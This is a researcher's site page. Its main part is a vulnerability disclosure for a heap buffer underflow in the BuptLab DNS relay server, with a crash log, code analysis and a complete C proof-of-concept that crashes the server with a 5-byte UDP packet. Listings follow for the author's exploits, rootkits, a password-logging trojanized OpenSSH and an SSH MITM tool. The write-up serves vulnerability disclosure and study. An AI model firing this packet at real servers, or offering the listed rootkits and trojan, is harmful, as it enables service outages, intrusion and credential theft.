HARDWARE HACKER
&
LOW LEVEL HACKER
BASED IN INDONESIA

Remote Heap-Based Buffer Underflow in BuptLab dns relay server

Written by : Antonius (w1sdom)
Web : www.bluedragonsec.com
Github : https://github.com/bluedragonsecurity
Vulnerability discovered by : Antonius
Date of Discovery : March 6 2026

On March 6 2026 I discovered a buffer underflow vulnerability at BuptLab dns relay server.

BuptLab dns relay server is a dns relay server developed by Agicy from Beijing University. Here is the repository of BuptLab dns relay server : https://github.com/agicy/buptLab-dns_relay_server

The vulnerability occurs when the dns relay server processed a 5 bytes of truncated dns packet. Here is the the packet that triggers the vulnerability at BuptLab dns relay server :

# xxd poc_dns_packet.bin                                                                    
00000000: a77e 0014 a6 
# wc -c poc_dns_packet.bin                                                                          
5 poc_dns_packet.bin

The packet doesn’t have a completed dns header, it’s a truncated dns packet.

Source Code Analysis

The asan log indicates a write of 1 byte outside the boundary of buffer :

==22332==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b96a5d245ef at pc 0x55d5fd9b3604 bp 0x7fffcbf8a090 sp 0x7fffcbf8a088
WRITE of size 1 at 0x7b96a5d245ef thread T0                                                                                                                  
    #0 0x55d5fd9b3603 in get_name_from_name_field src/network/dns_utility.c:41
    #1 0x55d5fd9bd123 in logger_dns_message src/module/logger.c:153
    #2 0x55d5fd9af98e in main src/dns_relay.c:263
    #3 0x7f76a6a29f67 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f76a6a2a024 in __libc_start_main_impl ../csu/libc-start.c:360
    #5 0x55d5fd9af3c0 in _start (/home/robohax/Desktop/fuzz/dns/buptLab-dns_relay_server/dns_relay+0x1f3c0) (BuildId: c5699f255c9870f6ad7559482666aea647197291)

More specifically it’s a write of 1 byte before the allocated buffer region

0x7b96a5d245ef is located 1 bytes before 1-byte region [0x7b96a5d245f0,0x7b96a5d245f1)
allocated by thread T0 here:                                                                                                                                 
    #0 0x7f76a771a0ab in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x55d5fd9b3281 in get_name_from_name_field src/network/dns_utility.c:31
    #2 0x55d5fd9bd123 in logger_dns_message src/module/logger.c:153
    #3 0x55d5fd9af98e in main src/dns_relay.c:263
    #4 0x7f76a6a29f67 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Based on the error message only we can determine that there is a buffer underflow vulnerability that triggered because of the truncated dns packet.

Press enter or click to view image in full size

in dns_relay.c line 263, we can see the bug triggered by logger_dns_message(LOG_LEVEL_DEBUG, message) function call.

Download the Medium App

Let’s check the logger_dns_message function at modules/logger.c :

Press enter or click to view image in full size

in line 153 the vulnerability triggered by a call to get_name_from_name_field :

char *name = get_name_from_name_field(question->qname);

Press enter or click to view image in full size

The vulnerability occurs since this loop never occurs :

  while (*ptr) {
        memcpy(base, ptr + 1, *ptr);
        base += *ptr;
        *base++ = '.';
        ptr += (*ptr + 1);
    }

The loop won’t run since name_field->name[0] == 0

*--base = '\0';

This code will shift the pointer position 1 step backward and fill the last character with null terminated string.

Since the name_field->name is Null, the base[-1] will be overwritten by null terminated string, hence a buffer underflow occurs !

POC

/*
# Exploit Title: BuptLab dns relay server remote denial of service
# Vendor Homepage: https://blog.agicy.cn/ 
# Software Link: https://github.com/agicy/buptLab-dns_relay_server
# Version: 1.0
# Tested on: CentOS Stream 9
# Google Dork: N/A
# Date: 2026-03-06
# Exploit Author: Antonius 
# Web : www.bluedragonsec.com 
# Github : https://github.com/bluedragonsecurity
# Description:
This is proof of concept exploit for rempote heap based buffer underflow at BuptLab dns relay server.
BuptLab dns relay server is a dns relay server developed by Agicy from Beijing University.
Vulnerability discovered by : Antonius 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    int sock;
    struct sockaddr_in server;
    unsigned char packet[] = {0xa7, 0x7e, 0x00, 0x14, 0xa6}; 

    if (argc < 3) {
        printf("[*] usage : ./exploit <target ip> <port number>");
        exit(-1);
    }
    char *ip = argv[1];
    int port = atoi(argv[2]);
    sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0) {
        perror("[-] failed to create socket");
        exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    inet_pton(AF_INET, ip, &server.sin_addr);
    ssize_t sent = sendto(sock, packet, 5, 0, (const struct sockaddr *)&server, sizeof(server));
    
    if (sent < 0) {
        perror("[-] Sendto failed");
    } else {
        printf("[+] Successfully sent %zd bytes to %s:%d\n", sent, ip, port);
    }

    close(sock);

    return 0;
}

References

https://medium.com/@w1sdom/remote-heap-based-buffer-underflow-vulnerability-at-buptlab-dns-relay-server-bac6505070a9

https://github.com/bluedragonsecurity/buptLab-dns_relay_server_remote_heap_based_buffer_underflow

Productions (Total : 5)

Hacker Gadget Robots IOT Other
RoboMall - A Teleoperated Mall Robot by Robotsoft
robots
RoboMall - A Teleoperated Mall Robot by Robotsoft

RoboMall was developed by Antonius (w1sdom) in 2023, The robot was designed to be operated in a mall. The purpose is that mall visitors doesn't need to visit mall directly, instead, they can use this robot to stroll in a mall and if they deposit in RoboMall wallet system they can buy things on mall, then the goods will be delivered by couriers.

iot
Robotsoft LightBox - IOT Lightning

Robotsoft LightBox is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.

iot
Robotsoft FloorLight - IOT Lightning

Robotsoft FloorLight is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.

iot
Robotsoft Torch - IOT Lightning

Robotsoft Torch is a solar powered outdoor lighting. Features : water proof, controlled by voice & android application. This product was created by Antonius (w1sdom). This product was created for his startup Robotsoft in 2020.

other
Robotsoft Solar - Solar Powered Electrical Generator

Solar Powered Electrical Generator. This generator created by Antonius (w1sdom). This product created for his startup Robotsoft in 2020.

Show All

Exploits (Total : 29)

linux freebsd openbsd windows
LINUX EXPLOIT
CVE-2026-46215 Exploit for Linux 7.0 - More Stable & Reliable

This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! This exploit is more stable and reliable than the first exploit I released.


Read More
LINUX EXPLOIT
CVE-2026-46215 Exploit for Linux Kernel 7.0 - 7.8 & Linux Kernel 7.0-rc* Series

This is an exploit for CVE-2026-46215 (Linux Kernel Use After Free) Adapted for Linux 7.0 !!! WARNING !!! this exploit is not stable ! sometimes, this exploit might cause kernel panic !


Read More
LINUX EXPLOIT
2026 Buptlab Dns Relay Server Remote Dos - for Linux

2026 Buptlab Dns Relay Server Remote Dos - for Linux. Lame remote denial of service exploit for buptlab dns relay server. Bug was discovered by Antonius (w1sdom) in 2026.


Read More
LINUX EXPLOIT
2026 Linux Litedns Remote Dos Exploit - for Linux

Lame remote denial of service exploit for litedns dns server - Bug Discovered by Antonius (w1sdom) in 2026.


Read More
LINUX EXPLOIT
CVE-2026-27831 Rldns Remote Dos Exploit - for Linux

rldns-1.0 - rldns-1.3 remote denial of service exploit. (rldns is an open source dns server that I developed).


Read More
LINUX EXPLOIT
CVE-2022-0847 - Linux Kernel 5.8 < 5.15.25 Local Privilege Escalation Exploit (DirtyPipe 2)

CVE-2022-0847 - Linux Kernel 5.8 < 5.15.25 Local Privilege Escalation Exploit (DirtyPipe 2). github : https://github.com/bluedragonsecurity web : https://www.bluedragonsec.com


Read More
WINDOWS EXPLOIT
2013 - Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service Via HTTP Post - for Windows

Private Bug !!! Savant Web Server 3.1 Post Method Buffer Overflow Denial of Service via HTTP Post. Vulnerability in HTTP Post discovered by Antonius. web : bluedragonsec.com - github.com/bluedragonsecurity

WINDOWS EXPLOIT
2013 - Minalic Web Server 2.0.0 Remote Stack Overflow Exploit Via HTTP Post Method - for Windows 32 bit - Python Version

Minalic Web Server 2.0.0 Remote Stack Overflow Exploit Via HTTP Post Method - for Windows 32 bit - Python Version. This is the only version in internet that used post method in 2013. Since post method and get method used different code path, you can tell that I found the vulnerability for post method. Exploit target : Windows Server 2003 Service Pack 2, English

WINDOWS EXPLOIT
2013 - MinaliC Webserver Post Method Remote Buffer Overflow Exploit for x86 Windows - C Version

MinaliC Webserver Post Method Remote Buffer Overflow Exploit. Affected : MinaliC Webserver 2.0.0. Vulnerability in post method was invented by Antonius in 2013. Original code developed by Antonius in Apr 2013. Code patched in 2026. web : bluedragonsec.com - https://github.com/bluedragonsecurity


Read More
WINDOWS EXPLOIT
2013 - EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow Exploit for x86 Windows - Python Version

Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013. Code patched in 2026 -> adjustment for python3. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity


Read More
WINDOWS EXPLOIT
2013 - EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow Exploit for x86 Windows - C Version

Private Exploit !!! EasyFTP Server 1.7.0.2 - 17.0.11 Remote Buffer Overflow. Original code using python 2.6 developed in 2013 ported to C (Linux), patched in 2026. Exploit developed by Antonius (w1sdom) - bluedragonsec.com - https://github.com/bluedragonsecurity


Read More
WINDOWS EXPLOIT
CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit for x86 Windows

Private Exploit !!! CVE-2012-10023 FreeFloat FTP Server 1.0 Remote Stack Overflow Exploit. Code : Antonius (w1sdom) - bluedragonsec.com. Original code developed in 2013 - exploit patched in 2026 https://github.com/bluedragonsecurity


Read More
Show All

Videos (Total : 0)

Show All

Vulnerabilities (Total : 7)

high No Cve Reported
MinaliC Webserver 2.0.0 - Remote Buffer Overflow via HTTP POST

Stack-based buffer overflow in MinaliC Webserver 2.0.0 allows remote attackers to execute arbitrary code via a crafted HTTP POST request. The overflow occurs in the URI parsing routine when processing the POST method, which follows a separate code path from GET. Existing CVEs for MinaliC do not cover this vulnerability. Discovered by Antonius in 2013.

Affected : MinaliC Webserver 2.0.0
high No CVE Reported
Savant Web Server 3.1- Denial of Service via HTTP POST Buffer Overflow

Buffer overflow in Savant Web Server 3.1 allows remote unauthenticated attackers to crash the server (denial of service) via a crafted HTTP POST request with an oversized URI and body. Existing CVEs for Savant cover the GET-method overflow only. This vulnerability uses the POST method which hits a different code path. Discovered by Antonius in 2013.

Affected : Savant Web Server 3.1
medium CVE-2026-23416
Linux mm/mseal - Stale curr_end After VMA Merge

curr_end becomes stale after VMA merge in mseal_apply(), leading to incorrect sealing state. Affects Linux kernels 6.17–7.0-rc5. Fix authored by Lorenzo Stoakes (Oracle). Vulnerability discovered by Antonius

Affected : Linux 6.17 – 7.0-rc5
medium CVE-2026-27831
rldns 1.3 - Heap Out-of-Bounds Read

Heap OOB read vulnerability in rldns 1.3 DNS server. Fixed in rldns 1.4 with comprehensive fuzzing via honggfuzz and improved input validation. Vulnerability discovered by Antonius.

Affected : rldns 1.3
medium CVE-2026-31429
Linux Kernel >= 6.3 < 6.12.82 Slab Cross-Cache Confusion

Type Confusion / Cross-Cache Free (Slab Cache Confusion) in the Linux Kernel (versions ≥ 6.3 and < 6.12.82). This vulnerability involves a pointer allocated within Cache A but subsequently freed into Cache B. Discovered by Antonius.

Affected : Linux net/bpf · fix: 0f42e3f4fe2a
medium No CVE Reported
LiteDNS: Out-of-Bounds Read in DNS Name Parsing Leads to Denial of Service (DoS)

Out-of-bounds Read leading to Denial of Service (DoS). Vulnerability discovered by Antonius.

Affected :
medium No CVE Reported
Remote Heap-Based Buffer Underflow Vulnerability at BuptLab dns relay server

Remote Heap-Based Buffer Underflow, 1-byte Heap Underwrite / Out-of-Bounds Write, Network-triggerable via crafted UDP DNS packet. Vulnerability discovered by Antonius.

Affected :
Show All

Papers (Total : 1)

PAPER
UAF Exploitation in the Sheaves Era

In this paper, I reverse engineered Linux kernel 7 slub sheaves allacator implementation. I created some novel heap based UAF exploitation techniques for Linux Kernel 7. This paper was finished before June 30 2026. Published on Phrack 73.

Show All

Blog (Total : 24)

hardware hacking low level artificial intelligence other
LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation - bypass ASLR - Per-Page Brute Force (Basic Side Channel Implemantation— non la57 system)

Part 5 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation - bypass ASLR via format string information leak (non la57 system)

Part 4 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation — bypass PIE via format string information leak

Part 3 of x86_64 linux remote stack overflow exploitation series from bluedragonsec.com

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation - ret2plt

Part 2 of x86_64 remote stack overflow exploitation for x86_64 linux, covering ret2plt. The writing is still on a non la57 linux system.

LOW LEVEL
x86_64 Linux Remote Stack Overflow Exploitation -The Basic

This guide is about basic of remote stack overflow exploitation on x86_64 linux. This one is the first guide from a series.

OTHER
The Story of A Lamer - From Zero to Zero

A story about a lamer who started learning in 1996 and is still a lamer in 2026.

LOW LEVEL
SEH Exploitation on KNet Web Server 1.04b (CVE-2005-0575 Exploitation Write-Up)

This is a very old write-up about CVE-2005-0575 Remote Exploitation, this is very old and might not be relevant anymore ! you have been warned ! I forgot when I made it. This is translated from Indonesian language (as always).

OTHER
The 8 Beginner Guide(s) for New Hackers

I released 8 pdf(s) Tutorial for Beginner Hacker. I wrote this in January 2026. I translate this materials from Indonesian Language.

HARDWARE HACKING
A Tiny Scrap of Note on Physical Attacks Against LAN Networks

Physical Attacks on LAN Networks is part of security training materials that I gave to Indonesian Police. This writing is a translation of some parts of my training materials about physical attacks (I haven't had time to release some details on "how to make the hacking devices", it's planned to be released in the future - the electronic parts & the codes).

Physical-Layer Biometric Evasion: A Personal Experiment Against ConvNet-Based Face Recognition

Unconventional bio hacking technique to defeat convnet face recognition algorithm ! The Art of Creativity !

LOW LEVEL
Linux Kernel Use-After-Free Exploitation in Linux Kernel 7 Using slab_sheaf Union State Confusion

Novel UAF exploitation technique targeting the new SLUB sheaves architecture introduced in Linux 7, leveraging union state confusion in slab_sheaf objects for kernel privilege escalation. This is "The Art of Hijacking the Allocator State"

LOW LEVEL
Linux Kernel Stack Overflow Exploitation: Defeating SMEP Using kROP (Kernel 6.17)

Step-by-step walkthrough of constructing a kernel ROP chain to bypass SMEP & SMAP on Linux Kernel 6.17.

Show All
PROFILE
Hardware Hacker & Low Level Hacker

I am Antonius (w1sdom), a security researcher based in Indonesia (but Chinese). I am a polymath type security researcher with strong knowledge in "hardware hacking (robotics)" and "low level exploitation".

I Learnt electronics in 1996 and then learnt to write 16 bit asm virus in 1998-2001.

I combine multiple disciplines in robotics, electronics, low level exploitation, hardware hacking & artificial intelligence to create innovative technologies, novel hacking techniques and low level exploitation techniques.

Nicknames

w1sdom, sw0rdm4n, ev1lut10n, d4r3d3v1l, jck.marshall (one time usage), ringlayer, robotsoft, mranton, 黑蝎子, Prof. Robotsoft, Mr. Robot, etc...

BIO
Short Bio

Zodiac : Scorpio.
Born : 198x
INTJ - Polymath

Hobbies
  • Play musical instruments (fingerstyle guitar & keyboard)
  • Martial Art (muay thai, taekwondo, boxing, brazilian jiujitsu)
  • Chess

Video Channels

robofight7 robomusic7

My Codes (Total : 8)

CODE
Xingyiquan Linux Kernel Rootkit

Developed in 2014, this legendary Linux Kernel Rootkit was engineered to target Linux kernel versions 2.6.x through 3.x. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/128945

CODE
Trojanized version of OpenSSH 8

Trojanized version of openssh-8.0p1 where the ssh client will log the ssh username and ssh password into /opt/.../log.txt. Build 2024 - by Antonius (sw0rdm4n)

CODE
rldns v1.4

Lightweight DNS server · Linux / NetBSD / FreeBSD / OpenBSD · x86 / x86_64. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n) - version 1.0 was released in 2017 --> https://packetstorm.news/files/id/141606

CODE
BDS LKM Ftrace Rootkit

Ftrace-based LKM rootkit · Linux Kernel 5.x–6.2 · x86_64 - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174805

CODE
BDS FreeBSD KLD Rootkit

FreeBSD 13 KLD rootkit · file / process / port hiding · bind shell - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174806

CODE
BDS LKM Rootkit

LKM rootkit · Linux Kernel 5.x–6.2 · persistent - developed in 2023 by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174789

CODE
BDS Userland Rootkit

Linux userland rootkit · file / process / port hiding by Antonius (w1sdom / sw0rdm4n / ev1lut10n) --> https://packetstorm.news/files/id/174790

CODE
Evil-Cowrie SSH MITM

Modified Cowrie for SSH man-in-the-middle attacks by Antonius (w1sdom / sw0rdm4n / ev1lut10n)

Show All

Prototypes (Total : 6)

Hacker Gadget Robots IOT Other
ROBOTS PROTOTYPE
Haxtronic - My First Generation Hacker Robot - Developed in 2014

The first hacker robot that I created. This robot was developed in 2014. Some demo videos were posted in Youtube around 2016. This robot can explains about low level exploitation techniques. Robot skills : can hack wifi (wpa cracking using aircrack), evil twin, wifi deauth, arp cache poisoning. My old video channel --> https://www.youtube.com/@antoniusringlayer/videos

ROBOTS PROTOTYPE
Inem Robot

I planned to develop a spy robot, but this robot was too big. The chassis was created using metals. Developed in 2017, posted in youtube around 2019. Developed by Antonius (w1sdom)

Airhax Wireless Network Auditor Device
HACKER GADGET PROTOTYPE
Airhax Wireless Network Auditor Device

Airhax is a wireless network auditor gadget. This device was created in 2015. This gadget functions : wifi cracking, evil twin, wifi deauth, arp poisoning. Developed by Antonius (w1sdom / sw0rdm4n / ev1lut10n / robotsoft)

ROBOTS PROTOTYPE
Ultrasonic Robot

I built this robot in 2014. It is a shy robot that is afraid of humans. I used 3 ultrasonic sensors.

ROBOTS PROTOTYPE
Giant Robot

A large-scale prototype robot powered by a mini PC and an Arduino, built as a personal project rather than a commercial product. At first, I planned to equip it with high-torque servos and an airsoft gun, but I realized that could be dangerous, so I scrapped the idea. Real hacking should be harmless. Build 2017 - by Prof. Antonius Robotsoft

Various Robots (finished and unfinished)
ROBOTS PROTOTYPE
Various Robots (finished and unfinished)

Various Robots (finished and unfinished) - build by Antonius Robotsoft (w1sdom).

Show All

Sitemap

Home

The home of the website

Productions

Electronic gadgets, robots, hacking devices, IOT, electrical generators from Robohax, Robotsoft and Bluedragonsec.

Prototypes

Prototypes for DIY gadgets, robots and quadcopters related to security that I developed.

Exploits

My Low level exploits developed from 2001-2026

Videos

Videos about low level exploit developments, hardware hacking & prototypes.

Vulnerabilities

Security vulnerabilities that I have discovered

Papers

Papers related to hardware hacking and low level exploitation.

Blog

Mostly about hardware hacking and low level exploitation.

About

About my website

c0d3s

Hacking tools, rootkits and open source projects that I developed

links